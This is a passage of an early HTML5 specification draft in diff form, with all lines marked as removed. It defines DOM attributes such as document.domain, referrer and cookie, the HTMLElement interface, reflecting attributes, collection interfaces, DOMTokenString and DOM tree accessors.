-   domain</span><!-- XXX xref --> upon the creation of the
-   <code>Document</code> object. On getting, the attribute must return its
-   current value. On setting, if the new value is an allowed value (as
-   defined below), the attribute's value must be changed to the new value. If
-   the new value is not an allowed value, then a <a
-   href="#security2">security exception</a> must be raised instead.
-
-  <p>A new value is an allowed value for the <code
-   title=dom-document-domain><a href="#domain">document.domain</a></code>
-   attribute if it is equal to the attribute's current value, or if the new
-   value, prefixed by a U+002E FULL STOP ("."), exactly matches the end of
-   the current value.
-
-  <p class=note>The <code title=dom-document-domain><a
-   href="#domain">domain</a></code> attribute is used to enable pages on
-   different hosts of a domain to access each others' DOMs.</p>
-  <!-- XXX xref -->
-  <!--XXX
-    http://lxr.mozilla.org/seamonkey/source/content/html/document/src/nsHTMLDocument.cpp
-    search for ::GetDomain ::SetDomain
-    http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/dom/Document.cpp
-    search for ::domain ::setDomain
-  -->
-
-  <p>The <dfn id=referrer
-   title=dom-document-referrer><code>referrer</code></dfn> attribute must
-   return either the URI of the page which navigated<!-- xref XXX
-  --> the
-   <a href="#browsing">browsing context</a> to the current document (if any),
-   or the empty string (if there is no such originating page, or if the UA
-   has been configured not to report referrers).
-
-  <p class=note>In the case of HTTP, the <code title=dom-document-referrer><a
-   href="#referrer">referrer</a></code> DOM attribute will match the
-   <code>Referer</code> (sic) header that was sent when fetching the current
-   page.
-
-  <p>The <dfn id=cookie0 title=dom-document-cookie><code>cookie</code></dfn>
-   attribute must, on getting, return the same string as the value of the
-   <code title="">Cookie</code> HTTP header it would include if fetching the
-   resource indicated by the <span>document's address</span> over HTTP, as
-   per RFC 2109 section 4.3.4. <a href="#refsRFC2109">[RFC2109]</a>
-
-  <p>On setting, the <code title=dom-document-cookie><a
-   href="#cookie0">cookie</a></code> attribute must cause the user agent to
-   act as it would when processing cookies if it had just attempted to fetch
-   the <span>document's address</span> over HTTP, and had received a response
-   with a <code>Set-Cookie</code> header whose value was the specified value,
-   as per RFC 2109 sections 4.3.1, 4.3.2, and 4.3.3. <a
-   href="#refsRFC2109">[RFC2109]</a>
-
-  <h3 id=elements><span class=secno>2.2. </span>Elements</h3>
-
-  <p>The nodes representing <a href="#html-elements">HTML elements</a> in the
-   DOM must implement, and expose to scripts, the interfaces listed for them
-   in the relevant sections of this specification. This includes <a
-   href="#xhtml5">XHTML</a> elements in <a href="#xml-documents">XML
-   documents</a>, even when those documents are in another context (e.g.
-   inside an XSLT transform).
-
-  <p>The basic interface, from which all the <a href="#html-elements">HTML
-   elements</a>' interfaces inherit, and which must be used by elements that
-   have no additional requirements, is the <code><a
-   href="#htmlelement">HTMLElement</a></code> interface.
-
-  <pre
-   class=idl>interface <dfn id=htmlelement>HTMLElement</dfn> : <span>Element</span> {
-  // <a href="#dom-tree1">DOM tree accessors</a>
-  NodeList <a href="#getelementsbyclassname0" title=dom-getElementsByClassName>getElementsByClassName</a>(in DOMString[] classNames);
-
-  // <a href="#dynamic3">Dynamic markup insertion</a>
-           attribute DOMString <a href="#innerhtml" title=dom-innerHTML>innerHTML</a>;
-
-  // <span>Metadata attributes</span>
-           attribute DOMString <a href="#id1" title=dom-id>id</a>;
-           attribute DOMString <a href="#title2" title=dom-title>title</a>;
-           attribute DOMString <a href="#lang1" title=dom-lang>lang</a>;
-           attribute DOMString <a href="#dir1" title=dom-dir>dir</a>;
-           attribute <a href="#domtokenstring0">DOMTokenString</a> <a href="#classname" title=dom-className>className</a>;
-
-  // <a href="#interaction2">Interaction</a>
-           attribute long <a href="#tabindex0" title=dom-tabindex>tabindex</a>;
-  void <a href="#click" title=dom-click>click</a>();
-  void <a href="#focus0" title=dom-focus>focus</a>();
-  void <a href="#blur" title=dom-blur>blur</a>();
-
-  // <a href="#command2" title=concept-command>Commands</a>
-           attribute <span>HTMLMenuElement</span> <a href="#contextmenu0" title=dom-contextMenu>contextMenu</a>;
-
-  // <a href="#editing1">Editing</a>
-           attribute boolean <a href="#draggable1" title=dom-draggable>draggable</a>;
-           attribute DOMString <a href="#contenteditable1" title=dom-contenteditable>contenteditable</a>;
-
-  // <a href="#event2">event handler DOM attributes</a>
-           attribute <span>EventListener</span> <a href="#onclick" title=handler-onclick>onclick</a>;
-           ...more events...
-};</pre>
-  <!-- XXX
-click() https://bugzilla.mozilla.org/attachment.cgi?id=176950
-also focus(), blur(), etc.
-should the click, focus, blur methods be recursible?
--->
-
-  <p>As with the <code><a href="#htmldocument">HTMLDocument</a></code>
-   interface, the <code><a href="#htmlelement">HTMLElement</a></code>
-   interface holds methods and attributes related to a number of disparate
-   features, and the members of this interface are therefore described in
-   various different sections of this specification.
-
-  <h4 id=reflecting><span class=secno>2.2.1. </span>Reflecting content
-   attributes in DOM attributes</h4>
-
-  <p>Some <span title="DOM attribute">DOM attributes</span> are defined to
-   <dfn id=reflect>reflect</dfn> a particular <span>content attribute</span>.
-   This means that on getting, the DOM attribute returns the current value of
-   the content attribute, and on setting, the DOM attribute changes the value
-   of the content attribute to the given value.
-
-  <p>If a reflecting DOM attribute is a <code>DOMString</code> attribute
-   defined to contain a URI, then on getting, the DOM attribute must return
-   the value of the content attribute, resolved to an absolute URI, and on
-   setting, must set the content attribute to the specified literal value. If
-   the content attribute is absent, the DOM attribute must return the default
-   value, if the content attribute has one, or else the empty string.
-
-  <p>If a reflecting DOM attribute is a <code>DOMString</code> attribute that
-   is not defined to contain a URI, then the getting and setting must be done
-   in a transparent, case-sensitive manner, except if the content attribute
-   is defined to only allow a specific set of values. In this latter case,
-   the attribute's value must first be <span>converted to
-   lowercase</span><!--XXX xref --> before being returned. If the content
-   attribute is absent, the DOM attribute must return the default value, if
-   the content attribute has one, or else the empty string.
-
-  <p>If a reflecting DOM attribute is a boolean attribute, then the DOM
-   attribute must return true if the attribute is set, and false if it is
-   absent. On setting, the content attribute must be removed if the DOM
-   attribute is set to false, and must be set to have the same value as its
-   name if the DOM attribute is set to true.
-
-  <p>If a reflecting DOM attribute is a signed integer type
-   (<code>long</code>) then the content attribute must be parsed according to
-   <a href="#rules0" title="rules for parsing integers">the rules for parsing
-   signed integers</a> first. If that fails, or if the attribute is absent,
-   the default value must be returned instead, or 0 if there is no default
-   value. On setting, the given value must be converted to a string
-   representing the number as a <a href="#valid0">valid integer</a> in base
-   ten and then that string must be used as the new content attribute value.
-
-  <p>If a reflecting DOM attribute is an <em>unsigned</em> integer type
-   (<code>unsigned long</code>) then the content attribute must be parsed
-   according to <a href="#rules" title="rules for parsing non-negative
-   integers">the rules for parsing unsigned integers</a> first. If that
-   fails, or if the attribute is absent, the default value must be returned
-   instead, or 0 if there is no default value. On setting, the given value
-   must be converted to a string representing the number as a <a
-   href="#valid">valid non-negative integer</a> in base ten and then that
-   string must be used as the new content attribute value.
-
-  <p>If a reflecting DOM attribute is of the type <code><a
-   href="#domtokenstring0">DOMTokenString</a></code>, then on getting it must
-   return the <code><a href="#domtokenstring0">DOMTokenString</a></code>
-   object that represents the element's correspending content attribute, and
-   on setting, the <em>string representation of the new value</em> must
-   replace the value of the element's <code title=attr-class><a
-   href="#class6">class</a></code> content attribute, adding such an
-   attribute if the element doesn't have one. The setter is unusual in that
-   it expects a string, and does not affect the <code><a
-   href="#domtokenstring0">DOMTokenString</a></code> object that is returned
-   on getting. The same <code><a
-   href="#domtokenstring0">DOMTokenString</a></code> object must be returned
-   every time. When the attribute is absent, then the string represented by
-   the <code><a href="#domtokenstring0">DOMTokenString</a></code> object is
-   the empty string.
-
-  <p>If a reflecting DOM attribute has the type <code><a
-   href="#htmlelement">HTMLElement</a></code>, or an interface that descends
-   from <code><a href="#htmlelement">HTMLElement</a></code>, then, on
-   getting, it must run the following algorithm (stopping at the first point
-   where a value is returned):
-
-  <ol>
-   <li>If the corresponding content attribute is absent, then the DOM
-    attribute must return null.
-
-   <li>Let <var title="">candidate</var> be the element that the <code
-    title="">document.getElementById()</code> method would find if it was
-    passed as its argument the current value of the corresponding content
-    attribute.
-
-   <li>If <var title="">candidate</var> is null, or if it is not
-    type-compatible with the DOM attribute, then the DOM attribute must
-    return null.
-
-   <li>Otherwise, it must return <var title="">candidate</var>.
-  </ol>
-
-  <p>On setting, if the given element has an <code title=attr-id><a
-   href="#id0">id</a></code> attribute, then the content attribute must be
-   set to the value of that <code title=attr-id><a href="#id0">id</a></code>
-   attribute. Otherwise, the DOM attribute must be set to the empty string.</p>
-  <!-- XXX or raise an exception? -->
-
-  <h3 id=common><span class=secno>2.3. </span>Common DOM interfaces</h3>
-
-  <h4 id=collections><span class=secno>2.3.1. </span>Collections</h4>
-
-  <p>The <code><a href="#htmlcollection0">HTMLCollection</a></code>, <code><a
-   href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>,
-   and <code><a
-   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> interfaces
-   represent various lists of DOM nodes. Collectively, objects implementing
-   these interfaces are called <dfn id=collections0>collections</dfn>.
-
-  <p>When a <a href="#collections0" title=collections>collection</a> is
-   created, a filter and a root are associated with the collection.
-
-  <p class=example>For example, when the <code><a
-   href="#htmlcollection0">HTMLCollection</a></code> object for the <code
-   title=dom-document-images><a href="#images0">document.images</a></code>
-   attribute is created, it is associated with a filter that selects only
-   <code><a href="#img0">img</a></code> elements, and rooted at the root of
-   the document.
-
-  <p>The <span>collection</span> then <dfn id=represents title="representated
-   by the collection">represents</dfn> a <a href="#live">live</a> view of the
-   subtree rooted at the collection's root, containing only nodes that match
-   the given filter. The view is linear. In the absence of specific
-   requirements to the contrary, the nodes within the collection must be
-   sorted in <a href="#tree-order">tree order</a>.
-
-  <p class=note>The <code title=dom-table-rows><a
-   href="#rows">rows</a></code> list is not in tree order.
-
-  <p>An attribute that returns a collection must return the same object every
-   time it is retrieved.
-
-  <h5 id=htmlcollection><span class=secno>2.3.1.1. </span>HTMLCollection</h5>
-
-  <p>The <code><a href="#htmlcollection0">HTMLCollection</a></code> interface
-   represents a generic <span>collection</span> of elements.
-
-  <pre class=idl>interface <dfn id=htmlcollection0>HTMLCollection</dfn> {
-  readonly attribute unsigned long <a href="#length" title=dom-HTMLCollection-length>length</a>;
-  Element <a href="#itemindex" title=dom-HTMLCollection-item>item</a>(in unsigned long index);
-  Element <a href="#nameditem" title=dom-HTMLCollection-namedItem>namedItem</a>(in DOMString name);
-};</pre>
-
-  <p>The <dfn id=length
-   title=dom-HTMLCollection-length><code>length</code></dfn> attribute must
-   return the number of nodes <span>represented by the collection</span>.
-
-  <p>The <dfn id=itemindex title=dom-HTMLCollection-item><code>item(<var
-   title="">index</var>)</code></dfn> method must return the <var
-   title="">index</var>th node in the collection. If there is no <var
-   title="">index</var>th node in the collection, then the method must return
-   null.
-
-  <p>The <dfn id=nameditem
-   title=dom-HTMLCollection-namedItem><code>namedItem(<var
-   title="">key</var>)</code></dfn> method must return the first node in the
-   collection that matches the following requirements:
-
-  <ul>
-   <li>It is an <code><a href="#a0">a</a></code>, <code>applet</code>,
-    <code><a href="#area0">area</a></code>, <code>form</code>, <code><a
-    href="#img0">img</a></code>, or <code><a
-    href="#object0">object</a></code> element with a <code
-    title=attr-name>name</code> attribute equal to <var title="">key</var>,
-    or,
-
-   <li>It is an HTML element of any kind with an <code title=attr-id><a
-    href="#id0">id</a></code> attribute equal to <var title="">key</var>.
-    (Non-HTML elements, even if they have IDs, are not searched for the
-    purposes of <code title=dom-HTMLCollection-namedItem><a
-    href="#nameditem">namedItem()</a></code>.)
-  </ul>
-
-  <p>If no such elements are found, then the method must return null.
-
-  <p>In the ECMAScript DOM binding, objects implementing the <code><a
-   href="#htmlcollection0">HTMLCollection</a></code> interface must support
-   being dereferenced using the square bracket notation, such that
-   dereferencing with an integer index is equivalent to invoking the <code
-   title=dom-HTMLCollection-item><a href="#itemindex">item()</a></code>
-   method with that index, and such that dereferencing with a string index is
-   equivalent to invoking the <code title=dom-HTMLCollection-namedItem><a
-   href="#nameditem">namedItem()</a></code> method with that index.
-
-  <h5 id=htmlformcontrolscollection><span class=secno>2.3.1.2.
-   </span>HTMLFormControlsCollection</h5>
-
-  <p>The <code><a
-   href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>
-   interface represents a <span>collection</span> of form controls.
-
-  <pre
-   class=idl>interface <dfn id=htmlformcontrolscollection0>HTMLFormControlsCollection</dfn> {
-  readonly attribute unsigned long <a href="#length0" title=dom-HTMLFormControlsCollection-length>length</a>;
-  <a href="#htmlelement">HTMLElement</a> <a href="#itemindex0" title=dom-HTMLFormControlsCollection-item>item</a>(in unsigned long index);
-  Object <a href="#nameditem0" title=dom-HTMLFormControlsCollection-namedItem>namedItem</a>(in DOMString name);
-};</pre>
-
-  <p>The <dfn id=length0
-   title=dom-HTMLFormControlsCollection-length><code>length</code></dfn>
-   attribute must return the number of nodes <span>represented by the
-   collection</span>.
-
-  <p>The <dfn id=itemindex0
-   title=dom-HTMLFormControlsCollection-item><code>item(<var
-   title="">index</var>)</code></dfn> method must return the <var
-   title="">index</var>th node in the collection. If there is no <var
-   title="">index</var>th node in the collection, then the method must return
-   null.
-
-  <p>The <dfn id=nameditem0
-   title=dom-HTMLFormControlsCollection-namedItem><code>namedItem(<var
-   title="">key</var>)</code></dfn> method must act according to the
-   following algorithm:
-
-  <ol>
-   <li>If, at the time the method is called, there is exactly one node in the
-    collection that has either an <code title=attr-id><a
-    href="#id0">id</a></code> attribute or a <code
-    title=attr-name>name</code> attribute equal to <var title="">key</var>,
-    then return that node and stop the algorithm.
-
-   <li>Otherwise, if there are no nodes in the collection that have either an
-    <code title=attr-id><a href="#id0">id</a></code> attribute or a <code
-    title=attr-name>name</code> attribute equal to <var title="">key</var>,
-    then return null and stop the algorithm.
-
-   <li>Otherwise, create a <code>NodeList</code> object representing a live
-    view of the <code><a
-    href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>
-    object, further filtered so that the only nodes in the
-    <code>NodeList</code> object are those that have either an <code
-    title=attr-id><a href="#id0">id</a></code> attribute or a <code
-    title=attr-name>name</code> attribute equal to <var title="">key</var>.
-    The nodes in the <code>NodeList</code> object must be sorted in <a
-    href="#tree-order">tree order</a>.
-
-   <li>Return that <code>NodeList</code> object.
-  </ol>
-
-  <p>In the ECMAScript DOM binding, objects implementing the <code><a
-   href="#htmlformcontrolscollection0">HTMLFormControlsCollection</a></code>
-   interface must support being dereferenced using the square bracket
-   notation, such that dereferencing with an integer index is equivalent to
-   invoking the <code title=dom-HTMLFormControlsCollection-item><a
-   href="#itemindex0">item()</a></code> method with that index, and such that
-   dereferencing with a string index is equivalent to invoking the <code
-   title=dom-HTMLFormControlsCollection-namedItem><a
-   href="#nameditem0">namedItem()</a></code> method with that index.</p>
-  <!--
-http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C%21DOCTYPE%20html%3E...%0A%3Cform%20name%3D%22a%22%3E%3Cinput%20id%3D%22x%22%20name%3D%22y%22%3E%3Cinput%20name%3D%22x%22%20id%3D%22y%22%3E%3C/form%3E%0A%3Cscript%3E%0A%20%20var%20x%3B%0A%20%20w%28x%20%3D%20document.forms%5B%27a%27%5D%5B%27x%27%5D%29%3B%0A%20%20w%28x.length%29%3B%0A%20%20x%5B0%5D.parentNode.removeChild%28x%5B0%5D%29%3B%0A%20%20w%28x.length%29%3B%0A%20%20w%28x%20%3D%3D%20document.forms%5B%27a%27%5D%5B%27x%27%5D%29%3B%0A%3C/script%3E%0A
--->
-
-  <h5 id=htmloptionscollection><span class=secno>2.3.1.3.
-   </span>HTMLOptionsCollection</h5>
-
-  <p>The <code><a
-   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> interface
-   represents a list of <code>option</code> elements.
-
-  <pre
-   class=idl>interface <dfn id=htmloptionscollection0>HTMLOptionsCollection</dfn> {
-           attribute unsigned long <a href="#length1" title=dom-HTMLOptionsCollection-length>length</a>;
-  HTMLOptionElement <a href="#itemindex1" title=dom-HTMLOptionsCollection-item>item</a>(in unsigned long index);
-  Object <a href="#nameditem1" title=dom-HTMLOptionsCollection-namedItem>namedItem</a>(in DOMString name);
-};</pre>
-
-  <p>On getting, the <dfn id=length1
-   title=dom-HTMLOptionsCollection-length><code>length</code></dfn> attribute
-   must return the number of nodes <span>represented by the
-   collection</span>.
-
-  <p>On setting, the behaviour depends on whether the new value is equal to,
-   greater than, or less than the number of nodes <span>represented by the
-   collection</span> at that time. If the number is the same, then setting
-   the attribute must do nothing. If the new value is greater, then <var
-   title="">n</var> new <code>option</code> elements with no attributes and
-   no child nodes must be appended to the <code>select</code> element on
-   which the <code><a
-   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> is rooted,
-   where <var title="">n</var> is the difference between the two numbers (new
-   value minus old value). If the new value is lower, then the last <var
-   title="">n</var> nodes in the collection must be removed from their parent
-   nodes, where <var title="">n</var> is the difference between the two
-   numbers (old value minus new value).
-
-  <p class=note>Setting <code title=dom-HTMLOptionsCollection-length><a
-   href="#length1">length</a></code> never removes or adds any
-   <code>optgroup</code> elements, and never adds new children to existing
-   <code>optgroup</code> elements (though it can remove children from them).
-
-  <p>The <dfn id=itemindex1
-   title=dom-HTMLOptionsCollection-item><code>item(<var
-   title="">index</var>)</code></dfn> method must return the <var
-   title="">index</var>th node in the collection. If there is no <var
-   title="">index</var>th node in the collection, then the method must return
-   null.
-
-  <p>The <dfn id=nameditem1
-   title=dom-HTMLOptionsCollection-namedItem><code>namedItem(<var
-   title="">key</var>)</code></dfn> method must act according to the
-   following algorithm:
-
-  <ol>
-   <li>If, at the time the method is called, there is exactly one node in the
-    collection that has either an <code title=attr-id><a
-    href="#id0">id</a></code> attribute or a <code
-    title=attr-name>name</code> attribute equal to <var title="">key</var>,
-    then return that node and stop the algorithm.
-
-   <li>Otherwise, if there are no nodes in the collection that have either an
-    <code title=attr-id><a href="#id0">id</a></code> attribute or a <code
-    title=attr-name>name</code> attribute equal to <var title="">key</var>,
-    then return null and stop the algorithm.
-
-   <li>Otherwise, create a <code>NodeList</code> object representing a live
-    view of the <code><a
-    href="#htmloptionscollection0">HTMLOptionsCollection</a></code> object,
-    further filtered so that the only nodes in the <code>NodeList</code>
-    object are those that have either an <code title=attr-id><a
-    href="#id0">id</a></code> attribute or a <code
-    title=attr-option-name>name</code> attribute equal to <var
-    title="">key</var>. The nodes in the <code>NodeList</code> object must be
-    sorted in <a href="#tree-order">tree order</a>.
-
-   <li>Return that <code>NodeList</code> object.
-  </ol>
-
-  <p>In the ECMAScript DOM binding, objects implementing the <code><a
-   href="#htmloptionscollection0">HTMLOptionsCollection</a></code> interface
-   must support being dereferenced using the square bracket notation, such
-   that dereferencing with an integer index is equivalent to invoking the
-   <code title=dom-HTMLOptionsCollection-item><a
-   href="#itemindex1">item()</a></code> method with that index, and such that
-   dereferencing with a string index is equivalent to invoking the <code
-   title=dom-HTMLOptionsCollection-namedItem><a
-   href="#nameditem1">namedItem()</a></code> method with that index.</p>
-  <!-- see also http://ln.hixie.ch/?start=1161042744AMPERSANDcount=1 -->
-
-  <p class=big-issue>We may want to add <code>add()</code> and
-   <code>remove()</code> methods here too because IE implements
-   HTMLSelectElement and HTMLOptionsCollection on the same object, and so
-   people use them almost interchangeably in the wild.
-
-  <h4 id=domtokenstring><span class=secno>2.3.2. </span>DOMTokenString</h4>
-
-  <p>The <code><a href="#domtokenstring0">DOMTokenString</a></code> interface
-   represents a string that consists of an <a href="#unordered">unordered set
-   of space-separated tokens</a>.
-
-  <pre
-   class=idl>interface <dfn id=domtokenstring0>DOMTokenString</dfn> : DOMString {
-  boolean <a href="#hastoken" title=dom-tokenstring-has>has</a>(in DOMString token);
-  void <a href="#remove" title=dom-tokenstring-add>add</a>(in DOMString token);
-  void <span title=dom-tokenstring-remove>remove</span>(in DOMString token);
-};</pre>
-
-  <p>The <dfn id=hastoken title=dom-tokenstring-has><code>has(<var
-   title="">token</var>)</code></dfn> method must run the following
-   algorithm:
-
-  <ol>
-   <li>If the <var title="">token</var> argument contains any
-    spaces<!-- XXX elaborate -->, then raise an
-    <code>INVALID_CHARACTER_ERR</code> exception and stop the algorithm.
-
-   <li>Otherwise, <a href="#split" title="split a string on spaces">split the
-    underlying string on spaces</a> to get the list of tokens in the object's
-    underlying string.
-
-   <li>If the token indicated by <var title="">token</var> is one of the
-    tokens in the object's underlying string then return true and stop this
-    algorithm.
-
-   <li>Otherwise, return false.
-  </ol>
-
-  <p>The <dfn id=addtoken title=dom-tokenstring-add><code>add(<var
-   title="">token</var>)</code></dfn> method must run the following
-   algorithm:
-
-  <ol>
-   <li>If the <var title="">token</var> argument contains any
-    spaces<!-- XXX elaborate -->, then raise an
-    <code>INVALID_CHARACTER_ERR</code> exception and stop the algorithm.
-
-   <li>Otherwise, <a href="#split" title="split a string on spaces">split the
-    underlying string on spaces</a> to get the list of tokens in the object's
-    underlying string.
-
-   <li>If the given <var title="">token</var> is already one of the tokens in
-    the <code><a href="#domtokenstring0">DOMTokenString</a></code> object's
-    underlying string then stop the algorithm.
-
-   <li>Otherwise, if the last character of the <code><a
-    href="#domtokenstring0">DOMTokenString</a></code> object's underlying
-    string is not a <a href="#space">space character</a>, then append a
-    U+0020 SPACE character to the end of that string.
-
-   <li>Append the value of <var title="">token</var> to the end of the
-    <code><a href="#domtokenstring0">DOMTokenString</a></code> object's
-    underlying string.
-  </ol>
-
-  <p>The <dfn id=remove title=dom-tokenstring-add><code>remove(<var
-   title="">token</var>)</code></dfn> method must run the following
-   algorithm:
-
-  <ol>
-   <li>If the <var title="">token</var> argument contains any <a
-    href="#space" title="space character">spaces</a>, then raise an
-    <code>INVALID_CHARACTER_ERR</code> exception and stop the algorithm.
-
-   <li>Otherwise, <a href="#remove0" title="remove a token from a
-    string">remove the given <var title="">token</var> from the underlying
-    string</a>.
-  </ol>
-
-  <p>In the ECMAScript DOM binding, objects implementing the <code><a
-   href="#domtokenstring0">DOMTokenString</a></code> interface must stringify
-   to the object's underlying string representation.
-
-  <p><code><a href="#domtokenstring0">DOMTokenString</a></code> inherits from
-   <code>DOMString</code>, so in bindings where strings have attributes or
-   methods, those attributes and methods will also operate on <code><a
-   href="#domtokenstring0">DOMTokenString</a></code> objects.
-
-  <h4 id=dom-feature><span class=secno>2.3.3. </span>DOM feature strings</h4>
-
-  <p>DOM3 Core defines mechanisms for checking for interface support, and for
-   obtaining implementations of interfaces, using <a
-   href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#DOMFeatures">feature
-   strings</a>. <a href="#refsDOM3CORE">[DOM3CORE]</a>
-
-  <p>A DOM application can use the <dfn id=hasfeature
-   title=hasFeature><code>hasFeature(<var title="">feature</var>, <var
-   title="">version</var>)</code></dfn> method of the
-   <code>DOMImplementation</code> interface with parameter values "<code
-   title="">HTML</code>" and "<code>5.0</code>" (respectively) to determine
-   whether or not this module is supported by the implementation. In addition
-   to the feature string "<code title="">HTML</code>", the feature string
-   "<code title="">XHTML</code>" (with version string "<code>5.0</code>") can
-   be used to check if the implementation supports XHTML. User agents should
-   respond with a true value when the <code><a
-   href="#hasfeature">hasFeature</a></code> method is queried with these
-   values. Authors are cautioned, however, that UAs returning true might not
-   be perfectly compliant, and that UAs returning false might well have
-   support for features in this specification; in general, therefore, use of
-   this method is discouraged.
-
-  <p>The values "<code title="">HTML</code>" and "<code
-   title="">XHTML</code>" (both with version "<code>5.0</code>") should also
-   be supported in the context of the <code>getFeature()</code> and
-   <code>isSupported()</code> methods, as defined by DOM3 Core.
-
-  <p class=note>The interfaces defined in this specification are not always
-   supersets of the interfaces defined in DOM2 HTML; some features that were
-   formerly deprecated, poorly supported, rarely used or considered
-   unnecessary have been removed. Therefore it is not guarenteed that an
-   implementation that supports "<code title="">HTML</code>"
-   "<code>5.0</code>" also supports "<code title="">HTML</code>"
-   "<code>2.0</code>".
-
-  <h3 id=dom-tree><span class=secno>2.4. </span><dfn id=dom-tree1>DOM tree
-   accessors</dfn></h3>
-
-  <p><dfn id=the-html0>The <code>html</code> element</dfn> of a document is
-   the document's root element, if there is one and it's an <code><a
-   href="#html0">html</a></code> element, or null otherwise.
-
-  <p><dfn id=the-head0>The <code>head</code> element</dfn> of a document is
-   the first <code><a href="#head0">head</a></code> element that is a child
-   of <a href="#the-html0">the <code>html</code> element</a>, if there is
-   one, or null otherwise.
-
-  <p><dfn id=the-title1>The <code>title</code> element</dfn> of a document is
-   the first <code><a href="#title3">title</a></code> element that is a child
-   of <a href="#the-head0">the <code>head</code> element</a>, if there is
-   one, or null otherwise.
-
-  <p>The <dfn id=document.title
-   title=dom-document-title><code>title</code></dfn> attribute must, on
-   getting, return a concatenation of the data of all the child <a
-   href="#text-node" title="text node">text nodes</a> of <a
-   href="#the-title1">the <code>title</code> element</a>, in tree order, or
-   the empty string if <a href="#the-title1">the <code>title</code>
-   element</a> is null.
-
-  <p>On setting, the following algorithm must be run:
-
-  <ol>
-   <li>If <a href="#the-head0">the <code>head</code> element</a> is null,
-    then the attribute must do nothing. Stop the algorithm here.
-
-   <li>If <a href="#the-title1">the <code>title</code> element</a> is null,
-    then a new <code><a href="#title3">title</a></code> element must be
-    created and appended to <a href="#the-head0">the <code>head</code>
-    element</a>.
-
-   <li>The children of <a href="#the-title1">the <code>title</code>
-    element</a> (if any) must all be removed.
-
-   <li>A single <code>Text</code> node whose data is the new value being
-    assigned must be appended to <a href="#the-title1">the <code>title</code>
-    element</a>.
-  </ol>
-
-  <p><dfn id=the-body0>The body element</dfn> of a document is the first
-   child of <a href="#the-html0">the <code>html</code> element</a> that is
-   either a <code><a href="#body1">body</a></code> element or a
-   <code>frameset</code> element. If there is no such element, it is null. If
-   the body element is null, then when the specification requires that events
-   be fired at "the body element", they must instead be fired at the
-   <code>Document</code> object.
-
-  <p>The <dfn id=body0 title=dom-document-body><code>body</code></dfn>
-   attribute, on getting, must return <a href="#the-body0">the body
-   element</a> of the document (either a <code><a
-   href="#body1">body</a></code> element, a <code>frameset</code> element, or
-   null). On setting, the following algorithm must be followed:
-
-  <ol>
-   <li>If the new value is not a <code><a href="#body1">body</a></code> or
-    <code>frameset</code> element, then raise a
-    <code>HIERARCHY_REQUEST_ERR</code> exception and abort these steps.
-
-   <li>Otherwise, if the new value is the same as <a href="#the-body0">the
-    body element</a>, do nothing. Abort these steps.
-
-   <li>Otherwise, if <a href="#the-body0">the body element</a> is not null,
-    then replace that element with the new value in the DOM, as if the root
-    element's <code title="">replaceChild()</code> method had been called
-    with the new value and <a href="#the-body0" title="the body element">the
-    incumbent body element</a> as its two arguments respectively, then abort
-    these steps.
-
-   <li>Otherwise, the <a href="#the-body0">the body element</a> is null.
-    Append the new value to the root element.
-  </ol>
-  <!--XXX
-    http://lxr.mozilla.org/seamonkey/source/content/html/document/src/nsHTMLDocument.cpp
-    search for ::GetBody ::SetBody
-    http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLDocument.cpp
-    search for ::setBody
-    http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/dom/Document.cpp
-    search for ::body
-  -->
-
-  <p>The <dfn id=images0 title=dom-document-images><code>images</code></dfn>
-   attribute must return an <code><a
-   href="#htmlcollection0">HTMLCollection</a></code> rooted at the
-   <code>Document</code> node, whose filter matches only <code><a
-   href="#img0">img</a></code> elements.
-
-  <p>The <dfn id=links0 title=dom-document-links><code>links</code></dfn>
-   attribute must return an <code><a
-   href="#htmlcollection0">HTMLCollection</a></code> rooted at the
-   <code>Document</code> node, whose filter matches only <code><a
-   href="#a0">a</a></code> elements with <code title=attr-hyperlink-href><a
-   href="#href5">href</a></code> attributes and <code><a
-   href="#area0">area</a></code> elements with <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attributes.
-
-  <p>The <dfn id=forms0 title=dom-document-forms><code>forms</code></dfn>
-   attribute must return an <code><a
-   href="#htmlcollection0">HTMLCollection</a></code> rooted at the
-   <code>Document</code> node, whose filter matches only <code>form</code>
-   elements.
-
-  <p>The <dfn id=anchors
-   title=dom-document-anchors><code>anchors</code></dfn> attribute must
-   return an <code><a href="#htmlcollection0">HTMLCollection</a></code>
-   rooted at the <code>Document</code> node, whose filter matches only
-   <code><a href="#a0">a</a></code> elements with <code
-   title=attr-a-name>name</code> attributes.</p>
-  <!-- XXX note that such elements are
-  non-conforming -->
-
-  <p>The <dfn id=getelementsbyname
-   title=dom-document-getElementsByName><code>getElementsByName(<var
-   title="">name</var>)</code></dfn> method a string <var
-   title="">name</var>, and must return a live <code>NodeList</code>
-   containing all the <code><a href="#a0">a</a></code>, <code>applet</code>,
-   <code>button</code>, <code>form</code>, <!-- frame? frameset?
-  XXX--><code><a
-   href="#iframe0">iframe</a></code>, <code><a href="#img0">img</a></code>,
-   <code>input</code>, <code><a href="#map0">map</a></code>, <code><a
-   href="#meta1">meta</a></code>, <code><a
-   href="#object0">object</a></code>,<!-- param?
-  XXX-->
-   <code>select</code>, and <code>textarea</code> elements in that document
-   that have a <code title="">name</code> attribute whose value is
-   equal<!-- XXX case sensitivity --> to the <var title="">name</var>
-   argument.</p>
-  <!-- XXX what about XHTML? -->
-
-  <p>The <dfn id=getelementsbyclassname
-   title=dom-document-getElementsByClassName><code>getElementsByClassName(<var
-   title="">classNames</var>)</code></dfn> method takes an array of strings
-   representing classes. When called, the method must return a live
-   <code>NodeList</code> object containing all the elements in the document
-   that have all the classes specified in that array. If the array is empty,
-   then the method must return an empty <code>NodeList</code>.
-
-  <p>HTML, XHTML, SVG and MathML elements define which classes they are in by
-   having an attribute in the per-element partition with the name <code
-   title="">class</code> containing a space-separated list of classes to
-   which the element belongs. Other specifications may also allow elements in
-   their namespaces to be labelled as being in specific classes. UAs must not
-   assume that all attributes of the name <code>class</code> for elements in
-   any namespace work in this way, however, and must not assume that such
-   attributes, when used as global attributes, label other elements as being
-   in specific classes.
-
-  <div class=example>
